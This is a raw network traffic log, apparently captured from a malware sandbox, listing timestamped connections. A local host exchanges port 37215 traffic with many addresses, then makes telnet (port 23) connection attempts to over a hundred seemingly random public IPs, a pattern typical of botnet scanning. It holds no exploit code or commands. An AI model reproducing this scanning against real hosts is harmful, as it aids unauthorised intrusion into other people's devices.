Dec 3, 2024 21:30:43.338850975 CET	59009	37215	192.168.2.23	41.110.112.240
Dec 3, 2024 21:30:43.338865042 CET	37215	59009	197.178.141.151	192.168.2.23
Dec 3, 2024 21:30:43.338866949 CET	59009	37215	192.168.2.23	41.49.202.177
Dec 3, 2024 21:30:43.338870049 CET	59009	37215	192.168.2.23	41.51.69.128
Dec 3, 2024 21:30:43.338876009 CET	37215	59009	156.219.115.202	192.168.2.23
Dec 3, 2024 21:30:43.338877916 CET	59009	37215	192.168.2.23	197.49.20.168
Dec 3, 2024 21:30:43.338887930 CET	37215	59009	41.91.254.193	192.168.2.23
Dec 3, 2024 21:30:43.338901043 CET	37215	59009	41.71.66.55	192.168.2.23
Dec 3, 2024 21:30:43.338907003 CET	59009	37215	192.168.2.23	156.219.115.202
Dec 3, 2024 21:30:43.338908911 CET	59009	37215	192.168.2.23	197.178.141.151
Dec 3, 2024 21:30:43.338917017 CET	37215	59009	41.41.193.179	192.168.2.23
Dec 3, 2024 21:30:43.338922024 CET	59009	37215	192.168.2.23	41.91.254.193
Dec 3, 2024 21:30:43.338924885 CET	59009	37215	192.168.2.23	41.71.66.55
Dec 3, 2024 21:30:43.338933945 CET	37215	59009	197.22.149.70	192.168.2.23
Dec 3, 2024 21:30:43.338947058 CET	59009	37215	192.168.2.23	41.41.193.179
Dec 3, 2024 21:30:43.338974953 CET	59009	37215	192.168.2.23	197.22.149.70
Dec 3, 2024 21:30:43.338992119 CET	37215	59009	156.211.49.106	192.168.2.23
Dec 3, 2024 21:30:43.339003086 CET	37215	59009	41.136.172.232	192.168.2.23
Dec 3, 2024 21:30:43.339010954 CET	37215	59009	156.212.255.235	192.168.2.23
Dec 3, 2024 21:30:43.339020967 CET	37215	59009	156.1.218.211	192.168.2.23
Dec 3, 2024 21:30:43.339026928 CET	59009	37215	192.168.2.23	156.211.49.106
Dec 3, 2024 21:30:43.339035988 CET	37215	59009	41.80.93.105	192.168.2.23
Dec 3, 2024 21:30:43.339046001 CET	37215	59009	197.199.245.234	192.168.2.23
Dec 3, 2024 21:30:43.339056015 CET	59009	37215	192.168.2.23	156.1.218.211
Dec 3, 2024 21:30:43.339056015 CET	59009	37215	192.168.2.23	156.212.255.235
Dec 3, 2024 21:30:43.339062929 CET	59009	37215	192.168.2.23	41.136.172.232
Dec 3, 2024 21:30:43.339063883 CET	37215	59009	156.142.130.65	192.168.2.23
Dec 3, 2024 21:30:43.339071989 CET	59009	37215	192.168.2.23	41.80.93.105
Dec 3, 2024 21:30:43.339075089 CET	37215	59009	197.11.244.106	192.168.2.23
Dec 3, 2024 21:30:43.339081049 CET	59009	37215	192.168.2.23	197.199.245.234
Dec 3, 2024 21:30:43.339083910 CET	37215	59009	41.232.34.110	192.168.2.23
Dec 3, 2024 21:30:43.339093924 CET	37215	59009	41.5.79.208	192.168.2.23
Dec 3, 2024 21:30:43.339099884 CET	59009	37215	192.168.2.23	156.142.130.65
Dec 3, 2024 21:30:43.339106083 CET	37215	59009	41.238.25.164	192.168.2.23
Dec 3, 2024 21:30:43.339108944 CET	59009	37215	192.168.2.23	41.232.34.110
Dec 3, 2024 21:30:43.339114904 CET	59009	37215	192.168.2.23	197.11.244.106
Dec 3, 2024 21:30:43.339123964 CET	37215	59009	156.99.98.76	192.168.2.23
Dec 3, 2024 21:30:43.339129925 CET	59009	37215	192.168.2.23	41.5.79.208
Dec 3, 2024 21:30:43.339134932 CET	37215	59009	41.57.86.234	192.168.2.23
Dec 3, 2024 21:30:43.339142084 CET	59009	37215	192.168.2.23	41.238.25.164
Dec 3, 2024 21:30:43.339155912 CET	37215	59009	156.230.126.50	192.168.2.23
Dec 3, 2024 21:30:43.339169025 CET	59009	37215	192.168.2.23	41.57.86.234
Dec 3, 2024 21:30:43.339170933 CET	59009	37215	192.168.2.23	156.99.98.76
Dec 3, 2024 21:30:43.339193106 CET	59009	37215	192.168.2.23	156.230.126.50
Dec 3, 2024 21:30:43.339714050 CET	37215	59009	197.205.253.105	192.168.2.23
Dec 3, 2024 21:30:43.339729071 CET	37215	59009	197.134.96.232	192.168.2.23
Dec 3, 2024 21:30:43.339740038 CET	37215	59009	41.18.9.0	192.168.2.23
Dec 3, 2024 21:30:43.339754105 CET	59009	37215	192.168.2.23	197.205.253.105
Dec 3, 2024 21:30:43.339754105 CET	37215	59009	197.153.113.124	192.168.2.23
Dec 3, 2024 21:30:43.339764118 CET	37215	59009	41.135.14.255	192.168.2.23
Dec 3, 2024 21:30:43.339770079 CET	59009	37215	192.168.2.23	197.134.96.232
Dec 3, 2024 21:30:43.339775085 CET	37215	59009	197.30.193.150	192.168.2.23
Dec 3, 2024 21:30:43.339783907 CET	59009	37215	192.168.2.23	41.18.9.0
Dec 3, 2024 21:30:43.339788914 CET	59009	37215	192.168.2.23	197.153.113.124
Dec 3, 2024 21:30:43.339804888 CET	59009	37215	192.168.2.23	41.135.14.255
Dec 3, 2024 21:30:43.339811087 CET	37215	59009	197.110.7.227	192.168.2.23
Dec 3, 2024 21:30:43.339814901 CET	59009	37215	192.168.2.23	197.30.193.150
Dec 3, 2024 21:30:43.339823008 CET	37215	59009	156.196.246.155	192.168.2.23
Dec 3, 2024 21:30:43.339832067 CET	37215	59009	197.19.143.66	192.168.2.23
Dec 3, 2024 21:30:43.339848042 CET	59009	37215	192.168.2.23	197.110.7.227
Dec 3, 2024 21:30:43.339854956 CET	59009	37215	192.168.2.23	156.196.246.155
Dec 3, 2024 21:30:43.339873075 CET	59009	37215	192.168.2.23	197.19.143.66
Dec 3, 2024 21:30:43.339910984 CET	37215	59009	156.148.52.73	192.168.2.23
Dec 3, 2024 21:30:43.339946985 CET	59009	37215	192.168.2.23	156.148.52.73
Dec 3, 2024 21:30:43.339951992 CET	37215	59009	197.196.67.184	192.168.2.23
Dec 3, 2024 21:30:43.339963913 CET	37215	59009	41.248.86.59	192.168.2.23
Dec 3, 2024 21:30:43.339975119 CET	37215	59009	156.158.11.122	192.168.2.23
Dec 3, 2024 21:30:43.339994907 CET	59009	37215	192.168.2.23	41.248.86.59
Dec 3, 2024 21:30:43.339994907 CET	59009	37215	192.168.2.23	197.196.67.184
Dec 3, 2024 21:30:43.340009928 CET	59009	37215	192.168.2.23	156.158.11.122
Dec 3, 2024 21:30:43.340074062 CET	37215	59009	41.158.69.115	192.168.2.23
Dec 3, 2024 21:30:43.340084076 CET	37215	59009	197.215.41.215	192.168.2.23
Dec 3, 2024 21:30:43.340087891 CET	37215	59009	156.183.164.147	192.168.2.23
Dec 3, 2024 21:30:43.340094090 CET	37215	59009	41.112.89.154	192.168.2.23
Dec 3, 2024 21:30:43.340099096 CET	37215	59009	156.224.105.120	192.168.2.23
Dec 3, 2024 21:30:43.340182066 CET	59009	37215	192.168.2.23	197.215.41.215
Dec 3, 2024 21:30:43.340183020 CET	59009	37215	192.168.2.23	41.158.69.115
Dec 3, 2024 21:30:43.340183020 CET	59009	37215	192.168.2.23	41.112.89.154
Dec 3, 2024 21:30:43.340184927 CET	59009	37215	192.168.2.23	156.183.164.147
Dec 3, 2024 21:30:43.340186119 CET	59009	37215	192.168.2.23	156.224.105.120
Dec 3, 2024 21:30:43.340212107 CET	37215	59009	41.0.221.113	192.168.2.23
Dec 3, 2024 21:30:43.340253115 CET	37215	59009	156.49.53.141	192.168.2.23
Dec 3, 2024 21:30:43.340253115 CET	59009	37215	192.168.2.23	41.0.221.113
Dec 3, 2024 21:30:43.340262890 CET	37215	59009	197.48.10.125	192.168.2.23
Dec 3, 2024 21:30:43.340271950 CET	37215	59009	41.199.194.23	192.168.2.23
Dec 3, 2024 21:30:43.340291977 CET	59009	37215	192.168.2.23	156.49.53.141
Dec 3, 2024 21:30:43.340296030 CET	59009	37215	192.168.2.23	197.48.10.125
Dec 3, 2024 21:30:43.340297937 CET	59009	37215	192.168.2.23	41.199.194.23
Dec 3, 2024 21:30:43.340317965 CET	37215	59009	41.222.230.35	192.168.2.23
Dec 3, 2024 21:30:43.340331078 CET	37215	59009	156.194.140.185	192.168.2.23
Dec 3, 2024 21:30:43.340341091 CET	37215	59009	156.225.97.237	192.168.2.23
Dec 3, 2024 21:30:43.340357065 CET	59009	37215	192.168.2.23	41.222.230.35
Dec 3, 2024 21:30:43.340365887 CET	37215	59009	41.159.13.243	192.168.2.23
Dec 3, 2024 21:30:43.340374947 CET	37215	59009	156.115.251.243	192.168.2.23
Dec 3, 2024 21:30:43.340382099 CET	59009	37215	192.168.2.23	156.225.97.237
Dec 3, 2024 21:30:43.340384007 CET	37215	59009	156.248.167.44	192.168.2.23
Dec 3, 2024 21:30:43.340389013 CET	59009	37215	192.168.2.23	156.194.140.185
Dec 3, 2024 21:30:43.340408087 CET	59009	37215	192.168.2.23	41.159.13.243
Dec 3, 2024 21:30:43.340408087 CET	59009	37215	192.168.2.23	156.115.251.243
Dec 3, 2024 21:30:43.340431929 CET	59009	37215	192.168.2.23	156.248.167.44
Dec 3, 2024 21:30:43.341228962 CET	37215	59009	41.196.132.147	192.168.2.23
Dec 3, 2024 21:30:43.341269016 CET	59009	37215	192.168.2.23	41.196.132.147
Dec 3, 2024 21:30:43.341305971 CET	37215	59009	41.6.133.71	192.168.2.23
Dec 3, 2024 21:30:43.341316938 CET	37215	59009	197.66.174.153	192.168.2.23
Dec 3, 2024 21:30:43.341325998 CET	37215	59009	156.21.70.24	192.168.2.23
Dec 3, 2024 21:30:43.341336012 CET	37215	59009	41.230.234.190	192.168.2.23
Dec 3, 2024 21:30:43.341347933 CET	37215	59009	41.183.164.6	192.168.2.23
Dec 3, 2024 21:30:43.341347933 CET	59009	37215	192.168.2.23	41.6.133.71
Dec 3, 2024 21:30:43.341352940 CET	59009	37215	192.168.2.23	197.66.174.153
Dec 3, 2024 21:30:43.341362953 CET	37215	59009	156.107.51.58	192.168.2.23
Dec 3, 2024 21:30:43.341366053 CET	59009	37215	192.168.2.23	156.21.70.24
Dec 3, 2024 21:30:43.341377020 CET	37215	59009	156.13.174.214	192.168.2.23
Dec 3, 2024 21:30:43.341381073 CET	59009	37215	192.168.2.23	41.230.234.190
Dec 3, 2024 21:30:43.341381073 CET	59009	37215	192.168.2.23	41.183.164.6
Dec 3, 2024 21:30:43.341386080 CET	37215	59009	41.38.85.174	192.168.2.23
Dec 3, 2024 21:30:43.341406107 CET	59009	37215	192.168.2.23	156.13.174.214
Dec 3, 2024 21:30:43.341415882 CET	59009	37215	192.168.2.23	156.107.51.58
Dec 3, 2024 21:30:43.341424942 CET	59009	37215	192.168.2.23	41.38.85.174
Dec 3, 2024 21:30:43.341424942 CET	37215	59009	197.213.94.199	192.168.2.23
Dec 3, 2024 21:30:43.341437101 CET	37215	59009	197.93.206.191	192.168.2.23
Dec 3, 2024 21:30:43.341455936 CET	37215	59009	41.135.96.156	192.168.2.23
Dec 3, 2024 21:30:43.341461897 CET	59009	37215	192.168.2.23	197.213.94.199
Dec 3, 2024 21:30:43.341465950 CET	37215	59009	197.128.25.159	192.168.2.23
Dec 3, 2024 21:30:43.341469049 CET	59009	37215	192.168.2.23	197.93.206.191
Dec 3, 2024 21:30:43.341475010 CET	37215	59009	197.132.226.7	192.168.2.23
Dec 3, 2024 21:30:43.341485023 CET	37215	59009	156.172.227.152	192.168.2.23
Dec 3, 2024 21:30:43.341494083 CET	37215	59009	41.51.140.184	192.168.2.23
Dec 3, 2024 21:30:43.341497898 CET	59009	37215	192.168.2.23	41.135.96.156
Dec 3, 2024 21:30:43.341504097 CET	37215	59009	41.167.115.192	192.168.2.23
Dec 3, 2024 21:30:43.341514111 CET	37215	59009	156.27.80.247	192.168.2.23
Dec 3, 2024 21:30:43.341519117 CET	59009	37215	192.168.2.23	197.132.226.7
Dec 3, 2024 21:30:43.341521025 CET	59009	37215	192.168.2.23	197.128.25.159
Dec 3, 2024 21:30:43.341521978 CET	37215	59009	197.82.71.74	192.168.2.23
Dec 3, 2024 21:30:43.341522932 CET	59009	37215	192.168.2.23	156.172.227.152
Dec 3, 2024 21:30:43.341535091 CET	59009	37215	192.168.2.23	41.51.140.184
Dec 3, 2024 21:30:43.341542006 CET	59009	37215	192.168.2.23	41.167.115.192
Dec 3, 2024 21:30:43.341542006 CET	59009	37215	192.168.2.23	197.82.71.74
Dec 3, 2024 21:30:43.341545105 CET	59009	37215	192.168.2.23	156.27.80.247
Dec 3, 2024 21:30:43.341547012 CET	37215	59009	156.238.30.25	192.168.2.23
Dec 3, 2024 21:30:43.341558933 CET	37215	59009	197.61.116.154	192.168.2.23
Dec 3, 2024 21:30:43.341569901 CET	37215	59009	156.151.127.66	192.168.2.23
Dec 3, 2024 21:30:43.341588020 CET	37215	59009	41.115.172.132	192.168.2.23
Dec 3, 2024 21:30:43.341587067 CET	59009	37215	192.168.2.23	197.61.116.154
Dec 3, 2024 21:30:43.341588020 CET	59009	37215	192.168.2.23	156.238.30.25
Dec 3, 2024 21:30:43.341598988 CET	37215	59009	197.157.198.171	192.168.2.23
Dec 3, 2024 21:30:43.341603994 CET	59009	37215	192.168.2.23	156.151.127.66
Dec 3, 2024 21:30:43.341619015 CET	37215	59009	41.58.212.61	192.168.2.23
Dec 3, 2024 21:30:43.341625929 CET	59009	37215	192.168.2.23	41.115.172.132
Dec 3, 2024 21:30:43.341631889 CET	59009	37215	192.168.2.23	197.157.198.171
Dec 3, 2024 21:30:43.341648102 CET	59009	37215	192.168.2.23	41.58.212.61
Dec 3, 2024 21:30:44.084538937 CET	59020	23	192.168.2.23	201.52.254.69
Dec 3, 2024 21:30:44.084538937 CET	59020	23	192.168.2.23	79.169.18.18
Dec 3, 2024 21:30:44.084538937 CET	59020	23	192.168.2.23	13.72.18.2
Dec 3, 2024 21:30:44.084538937 CET	59020	23	192.168.2.23	194.147.220.69
Dec 3, 2024 21:30:44.084547043 CET	59020	23	192.168.2.23	62.162.175.80
Dec 3, 2024 21:30:44.084558964 CET	59020	23	192.168.2.23	83.250.177.243
Dec 3, 2024 21:30:44.084568024 CET	59020	23	192.168.2.23	175.153.120.153
Dec 3, 2024 21:30:44.084568024 CET	59020	23	192.168.2.23	141.63.249.56
Dec 3, 2024 21:30:44.084568024 CET	59020	23	192.168.2.23	189.35.228.33
Dec 3, 2024 21:30:44.084573984 CET	59020	23	192.168.2.23	136.127.71.69
Dec 3, 2024 21:30:44.084578991 CET	59020	23	192.168.2.23	73.164.226.15
Dec 3, 2024 21:30:44.084578991 CET	59020	23	192.168.2.23	158.86.129.114
Dec 3, 2024 21:30:44.084583044 CET	59020	23	192.168.2.23	147.69.69.108
Dec 3, 2024 21:30:44.084594965 CET	59020	23	192.168.2.23	86.22.128.38
Dec 3, 2024 21:30:44.084594965 CET	59020	23	192.168.2.23	180.226.45.165
Dec 3, 2024 21:30:44.084594965 CET	59020	23	192.168.2.23	120.88.152.82
Dec 3, 2024 21:30:44.084604025 CET	59020	23	192.168.2.23	166.138.27.199
Dec 3, 2024 21:30:44.084604025 CET	59020	23	192.168.2.23	31.84.141.136
Dec 3, 2024 21:30:44.084604025 CET	59020	23	192.168.2.23	191.49.74.53
Dec 3, 2024 21:30:44.084614992 CET	59020	23	192.168.2.23	221.134.164.214
Dec 3, 2024 21:30:44.084620953 CET	59020	23	192.168.2.23	124.203.112.21
Dec 3, 2024 21:30:44.084625006 CET	59020	23	192.168.2.23	31.115.173.21
Dec 3, 2024 21:30:44.084625959 CET	59020	23	192.168.2.23	199.68.110.182
Dec 3, 2024 21:30:44.084625006 CET	59020	23	192.168.2.23	114.202.233.170
Dec 3, 2024 21:30:44.084628105 CET	59020	23	192.168.2.23	154.103.122.174
Dec 3, 2024 21:30:44.084647894 CET	59020	23	192.168.2.23	75.160.31.192
Dec 3, 2024 21:30:44.084647894 CET	59020	23	192.168.2.23	134.92.94.114
Dec 3, 2024 21:30:44.084650040 CET	59020	23	192.168.2.23	90.162.115.53
Dec 3, 2024 21:30:44.084650040 CET	59020	23	192.168.2.23	44.195.146.69
Dec 3, 2024 21:30:44.084651947 CET	59020	23	192.168.2.23	115.241.3.146
Dec 3, 2024 21:30:44.084652901 CET	59020	23	192.168.2.23	107.168.123.168
Dec 3, 2024 21:30:44.084665060 CET	59020	23	192.168.2.23	38.230.52.186
Dec 3, 2024 21:30:44.084665060 CET	59020	23	192.168.2.23	112.132.199.236
Dec 3, 2024 21:30:44.084671974 CET	59020	23	192.168.2.23	126.149.6.164
Dec 3, 2024 21:30:44.084671974 CET	59020	23	192.168.2.23	99.93.175.166
Dec 3, 2024 21:30:44.084671974 CET	59020	23	192.168.2.23	110.182.120.133
Dec 3, 2024 21:30:44.084676981 CET	59020	23	192.168.2.23	190.108.219.142
Dec 3, 2024 21:30:44.084681034 CET	59020	23	192.168.2.23	123.174.95.78
Dec 3, 2024 21:30:44.084683895 CET	59020	23	192.168.2.23	45.172.212.85
Dec 3, 2024 21:30:44.084683895 CET	59020	23	192.168.2.23	115.40.46.103
Dec 3, 2024 21:30:44.084685087 CET	59020	23	192.168.2.23	124.122.37.176
Dec 3, 2024 21:30:44.084693909 CET	59020	23	192.168.2.23	68.130.134.68
Dec 3, 2024 21:30:44.084701061 CET	59020	23	192.168.2.23	54.126.30.249
Dec 3, 2024 21:30:44.084702969 CET	59020	23	192.168.2.23	31.229.241.126
Dec 3, 2024 21:30:44.084702969 CET	59020	23	192.168.2.23	96.205.234.198
Dec 3, 2024 21:30:44.084702969 CET	59020	23	192.168.2.23	132.7.150.151
Dec 3, 2024 21:30:44.084713936 CET	59020	23	192.168.2.23	144.213.89.100
Dec 3, 2024 21:30:44.084716082 CET	59020	23	192.168.2.23	136.250.188.100
Dec 3, 2024 21:30:44.084726095 CET	59020	23	192.168.2.23	198.30.38.126
Dec 3, 2024 21:30:44.084738970 CET	59020	23	192.168.2.23	174.9.206.53
Dec 3, 2024 21:30:44.084739923 CET	59020	23	192.168.2.23	38.109.20.98
Dec 3, 2024 21:30:44.084739923 CET	59020	23	192.168.2.23	190.198.5.191
Dec 3, 2024 21:30:44.084752083 CET	59020	23	192.168.2.23	126.139.174.236
Dec 3, 2024 21:30:44.084752083 CET	59020	23	192.168.2.23	185.206.192.229
Dec 3, 2024 21:30:44.084752083 CET	59020	23	192.168.2.23	85.221.238.108
Dec 3, 2024 21:30:44.084753990 CET	59020	23	192.168.2.23	41.143.130.47
Dec 3, 2024 21:30:44.084757090 CET	59020	23	192.168.2.23	8.231.208.205
Dec 3, 2024 21:30:44.084758997 CET	59020	23	192.168.2.23	149.91.244.159
Dec 3, 2024 21:30:44.084764957 CET	59020	23	192.168.2.23	72.146.232.158
Dec 3, 2024 21:30:44.084768057 CET	59020	23	192.168.2.23	101.197.163.119
Dec 3, 2024 21:30:44.084768057 CET	59020	23	192.168.2.23	67.238.86.80
Dec 3, 2024 21:30:44.084774971 CET	59020	23	192.168.2.23	123.0.238.106
Dec 3, 2024 21:30:44.084780931 CET	59020	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:44.084780931 CET	59020	23	192.168.2.23	223.242.75.237
Dec 3, 2024 21:30:44.084784031 CET	59020	23	192.168.2.23	102.168.154.78
Dec 3, 2024 21:30:44.084793091 CET	59020	23	192.168.2.23	18.42.8.116
Dec 3, 2024 21:30:44.084798098 CET	59020	23	192.168.2.23	158.88.102.253
Dec 3, 2024 21:30:44.084798098 CET	59020	23	192.168.2.23	76.197.255.59
Dec 3, 2024 21:30:44.084800005 CET	59020	23	192.168.2.23	145.62.86.198
Dec 3, 2024 21:30:44.084800959 CET	59020	23	192.168.2.23	173.179.126.49
Dec 3, 2024 21:30:44.084800005 CET	59020	23	192.168.2.23	140.2.250.50
Dec 3, 2024 21:30:44.084800005 CET	59020	23	192.168.2.23	78.206.57.97
Dec 3, 2024 21:30:44.084821939 CET	59020	23	192.168.2.23	165.196.232.59
Dec 3, 2024 21:30:44.084824085 CET	59020	23	192.168.2.23	184.229.202.223
Dec 3, 2024 21:30:44.084824085 CET	59020	23	192.168.2.23	61.149.4.162
Dec 3, 2024 21:30:44.084824085 CET	59020	23	192.168.2.23	187.212.12.243
Dec 3, 2024 21:30:44.084832907 CET	59020	23	192.168.2.23	170.105.201.50
Dec 3, 2024 21:30:44.084837914 CET	59020	23	192.168.2.23	61.204.171.5
Dec 3, 2024 21:30:44.084837914 CET	59020	23	192.168.2.23	185.101.37.253
Dec 3, 2024 21:30:44.084837914 CET	59020	23	192.168.2.23	119.247.196.173
Dec 3, 2024 21:30:44.084844112 CET	59020	23	192.168.2.23	142.60.255.113
Dec 3, 2024 21:30:44.084860086 CET	59020	23	192.168.2.23	108.168.79.23
Dec 3, 2024 21:30:44.084863901 CET	59020	23	192.168.2.23	89.39.80.175
Dec 3, 2024 21:30:44.084876060 CET	59020	23	192.168.2.23	203.22.118.120
Dec 3, 2024 21:30:44.084876060 CET	59020	23	192.168.2.23	122.196.110.119
Dec 3, 2024 21:30:44.084876060 CET	59020	23	192.168.2.23	66.236.91.125
Dec 3, 2024 21:30:44.084876060 CET	59020	23	192.168.2.23	114.105.219.78
Dec 3, 2024 21:30:44.084881067 CET	59020	23	192.168.2.23	51.29.120.189
Dec 3, 2024 21:30:44.084882021 CET	59020	23	192.168.2.23	142.231.68.168
Dec 3, 2024 21:30:44.084882021 CET	59020	23	192.168.2.23	39.239.196.195
Dec 3, 2024 21:30:44.084892988 CET	59020	23	192.168.2.23	190.83.192.26
Dec 3, 2024 21:30:44.084892988 CET	59020	23	192.168.2.23	32.99.96.169
Dec 3, 2024 21:30:44.084897995 CET	59020	23	192.168.2.23	116.81.24.23
Dec 3, 2024 21:30:44.084901094 CET	59020	23	192.168.2.23	94.53.178.134
Dec 3, 2024 21:30:44.084917068 CET	59020	23	192.168.2.23	149.247.78.101
Dec 3, 2024 21:30:44.084918022 CET	59020	23	192.168.2.23	27.120.105.64
Dec 3, 2024 21:30:44.084918022 CET	59020	23	192.168.2.23	18.48.132.12
Dec 3, 2024 21:30:44.084923029 CET	59020	23	192.168.2.23	182.135.213.207
Dec 3, 2024 21:30:44.084923029 CET	59020	23	192.168.2.23	68.27.201.252
Dec 3, 2024 21:30:44.084929943 CET	59020	23	192.168.2.23	103.144.141.235
Dec 3, 2024 21:30:44.084934950 CET	59020	23	192.168.2.23	74.65.99.156
Dec 3, 2024 21:30:44.084939003 CET	59020	23	192.168.2.23	137.60.182.161
Dec 3, 2024 21:30:44.084949017 CET	59020	23	192.168.2.23	158.164.216.107
Dec 3, 2024 21:30:44.084949970 CET	59020	23	192.168.2.23	82.104.27.26
Dec 3, 2024 21:30:44.084952116 CET	59020	23	192.168.2.23	222.242.129.33
Dec 3, 2024 21:30:44.084954977 CET	59020	23	192.168.2.23	149.39.81.141
Dec 3, 2024 21:30:44.084955931 CET	59020	23	192.168.2.23	59.195.153.27
Dec 3, 2024 21:30:44.084959030 CET	59020	23	192.168.2.23	25.75.139.163
Dec 3, 2024 21:30:44.084959030 CET	59020	23	192.168.2.23	38.132.164.230
Dec 3, 2024 21:30:44.084974051 CET	59020	23	192.168.2.23	173.187.175.129
Dec 3, 2024 21:30:44.084974051 CET	59020	23	192.168.2.23	218.181.58.202
Dec 3, 2024 21:30:44.084991932 CET	59020	23	192.168.2.23	88.15.176.44
Dec 3, 2024 21:30:44.084994078 CET	59020	23	192.168.2.23	161.18.134.135
Dec 3, 2024 21:30:44.084995031 CET	59020	23	192.168.2.23	203.160.199.165
Dec 3, 2024 21:30:44.084995031 CET	59020	23	192.168.2.23	166.191.178.229
Dec 3, 2024 21:30:44.084995031 CET	59020	23	192.168.2.23	89.140.65.238
Dec 3, 2024 21:30:44.084995031 CET	59020	23	192.168.2.23	158.208.106.191
Dec 3, 2024 21:30:44.085000038 CET	59020	23	192.168.2.23	189.238.140.0
Dec 3, 2024 21:30:44.085000038 CET	59020	23	192.168.2.23	4.246.222.114
Dec 3, 2024 21:30:44.085000992 CET	59020	23	192.168.2.23	84.255.214.103
Dec 3, 2024 21:30:44.085000038 CET	59020	23	192.168.2.23	130.124.158.138
Dec 3, 2024 21:30:44.085010052 CET	59020	23	192.168.2.23	94.120.109.26
Dec 3, 2024 21:30:44.085022926 CET	59020	23	192.168.2.23	133.120.231.233
Dec 3, 2024 21:30:44.085025072 CET	59020	23	192.168.2.23	62.166.105.8
Dec 3, 2024 21:30:44.085026026 CET	59020	23	192.168.2.23	54.124.122.218
Dec 3, 2024 21:30:44.085028887 CET	59020	23	192.168.2.23	18.104.145.136
Dec 3, 2024 21:30:44.085031033 CET	59020	23	192.168.2.23	141.144.45.88
Dec 3, 2024 21:30:44.085031033 CET	59020	23	192.168.2.23	47.96.178.202
Dec 3, 2024 21:30:44.085035086 CET	59020	23	192.168.2.23	115.152.97.245
Dec 3, 2024 21:30:44.085047960 CET	59020	23	192.168.2.23	111.142.94.147
Dec 3, 2024 21:30:44.085047960 CET	59020	23	192.168.2.23	210.69.249.196
Dec 3, 2024 21:30:44.085048914 CET	59020	23	192.168.2.23	177.177.210.22
Dec 3, 2024 21:30:44.085057974 CET	59020	23	192.168.2.23	217.211.68.119
Dec 3, 2024 21:30:44.085064888 CET	59020	23	192.168.2.23	40.232.96.12
Dec 3, 2024 21:30:44.085067987 CET	59020	23	192.168.2.23	196.177.243.134
Dec 3, 2024 21:30:44.085078001 CET	59020	23	192.168.2.23	103.135.218.253
Dec 3, 2024 21:30:44.085088015 CET	59020	23	192.168.2.23	83.202.234.200
Dec 3, 2024 21:30:44.085088015 CET	59020	23	192.168.2.23	61.221.181.21
Dec 3, 2024 21:30:44.085088015 CET	59020	23	192.168.2.23	145.16.24.196
Dec 3, 2024 21:30:44.085103035 CET	59020	23	192.168.2.23	63.224.69.242
Dec 3, 2024 21:30:44.085103035 CET	59020	23	192.168.2.23	136.61.193.74
Dec 3, 2024 21:30:44.085103989 CET	59020	23	192.168.2.23	144.160.179.171
Dec 3, 2024 21:30:44.085103989 CET	59020	23	192.168.2.23	222.132.250.226
Dec 3, 2024 21:30:44.085117102 CET	59020	23	192.168.2.23	82.160.194.144
Dec 3, 2024 21:30:44.085117102 CET	59020	23	192.168.2.23	61.181.177.105
Dec 3, 2024 21:30:44.085117102 CET	59020	23	192.168.2.23	195.62.137.171
Dec 3, 2024 21:30:44.085118055 CET	59020	23	192.168.2.23	160.106.60.165
Dec 3, 2024 21:30:44.085118055 CET	59020	23	192.168.2.23	110.46.213.199
Dec 3, 2024 21:30:44.085118055 CET	59020	23	192.168.2.23	124.218.72.123
Dec 3, 2024 21:30:44.085119963 CET	59020	23	192.168.2.23	17.240.175.145
Dec 3, 2024 21:30:44.085120916 CET	59020	23	192.168.2.23	102.10.129.200
Dec 3, 2024 21:30:44.085120916 CET	59020	23	192.168.2.23	178.62.131.73
Dec 3, 2024 21:30:44.085120916 CET	59020	23	192.168.2.23	9.154.35.6
Dec 3, 2024 21:30:44.085120916 CET	59020	23	192.168.2.23	217.161.150.104
Dec 3, 2024 21:30:44.085120916 CET	59020	23	192.168.2.23	34.235.127.253
Dec 3, 2024 21:30:44.085125923 CET	59020	23	192.168.2.23	201.186.113.165
Dec 3, 2024 21:30:44.085125923 CET	59020	23	192.168.2.23	75.102.169.155
Dec 3, 2024 21:30:44.085129023 CET	59020	23	192.168.2.23	13.18.191.60
Dec 3, 2024 21:30:44.085130930 CET	59020	23	192.168.2.23	111.177.223.8
Dec 3, 2024 21:30:44.085139036 CET	59020	23	192.168.2.23	221.114.146.244
Dec 3, 2024 21:30:44.085139036 CET	59020	23	192.168.2.23	65.68.204.208
Dec 3, 2024 21:30:44.085139036 CET	59020	23	192.168.2.23	17.121.164.213
Dec 3, 2024 21:30:44.085139990 CET	59020	23	192.168.2.23	43.51.173.202
Dec 3, 2024 21:30:44.085139990 CET	59020	23	192.168.2.23	116.144.253.1
Dec 3, 2024 21:30:44.085139990 CET	59020	23	192.168.2.23	141.157.75.24
Dec 3, 2024 21:30:44.085150003 CET	59020	23	192.168.2.23	122.97.42.213
Dec 3, 2024 21:30:44.085150003 CET	59020	23	192.168.2.23	196.20.148.44
Dec 3, 2024 21:30:44.085150003 CET	59020	23	192.168.2.23	147.191.225.9
Dec 3, 2024 21:30:44.085150957 CET	59020	23	192.168.2.23	122.5.5.117
Dec 3, 2024 21:30:44.085150957 CET	59020	23	192.168.2.23	124.63.10.157
Dec 3, 2024 21:30:44.085165024 CET	59020	23	192.168.2.23	136.194.197.234
Dec 3, 2024 21:30:44.085165977 CET	59020	23	192.168.2.23	1.37.17.207
Dec 3, 2024 21:30:44.085179090 CET	59020	23	192.168.2.23	5.99.212.229
Dec 3, 2024 21:30:44.085182905 CET	59020	23	192.168.2.23	122.200.213.91
Dec 3, 2024 21:30:44.085184097 CET	59020	23	192.168.2.23	160.95.15.39
Dec 3, 2024 21:30:44.085182905 CET	59020	23	192.168.2.23	43.87.241.21
Dec 3, 2024 21:30:44.085186005 CET	59020	23	192.168.2.23	134.166.23.53
Dec 3, 2024 21:30:44.085194111 CET	59020	23	192.168.2.23	23.0.113.59
Dec 3, 2024 21:30:44.085195065 CET	59020	23	192.168.2.23	154.67.238.113
Dec 3, 2024 21:30:44.085195065 CET	59020	23	192.168.2.23	2.86.145.56
Dec 3, 2024 21:30:44.085195065 CET	59020	23	192.168.2.23	57.26.193.151
Dec 3, 2024 21:30:44.085201979 CET	59020	23	192.168.2.23	136.227.51.234
Dec 3, 2024 21:30:44.085222006 CET	59020	23	192.168.2.23	48.72.210.61
Dec 3, 2024 21:30:44.085223913 CET	59020	23	192.168.2.23	170.172.43.220
Dec 3, 2024 21:30:44.085223913 CET	59020	23	192.168.2.23	144.95.233.31
Dec 3, 2024 21:30:44.085223913 CET	59020	23	192.168.2.23	155.111.225.156
Dec 3, 2024 21:30:44.085241079 CET	59020	23	192.168.2.23	107.37.200.207
